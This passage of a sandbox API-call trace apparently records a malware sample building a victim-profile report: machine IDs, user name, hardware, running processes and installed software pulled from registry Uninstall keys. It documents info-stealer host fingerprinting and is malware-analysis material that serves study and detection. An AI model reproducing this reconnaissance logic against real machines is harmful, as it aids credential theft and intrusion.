[1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\n"
[0054.954] RegCloseKey (hKey=0x514) returned 0x0
[0054.954] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x1a, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{4A03706F-666A-4037-7777-5F2748764D10}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.954] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}") returned 90
[0054.954] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.955] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Java Auto Updater", lpcbData=0x1816c0*=0x12) returned 0x0
[0054.955] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\n", lpString2="Java Auto Updater" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater"
[0054.955] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="2.8.171.11", lpcbData=0x1816c0*=0xb) returned 0x0
[0054.955] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe 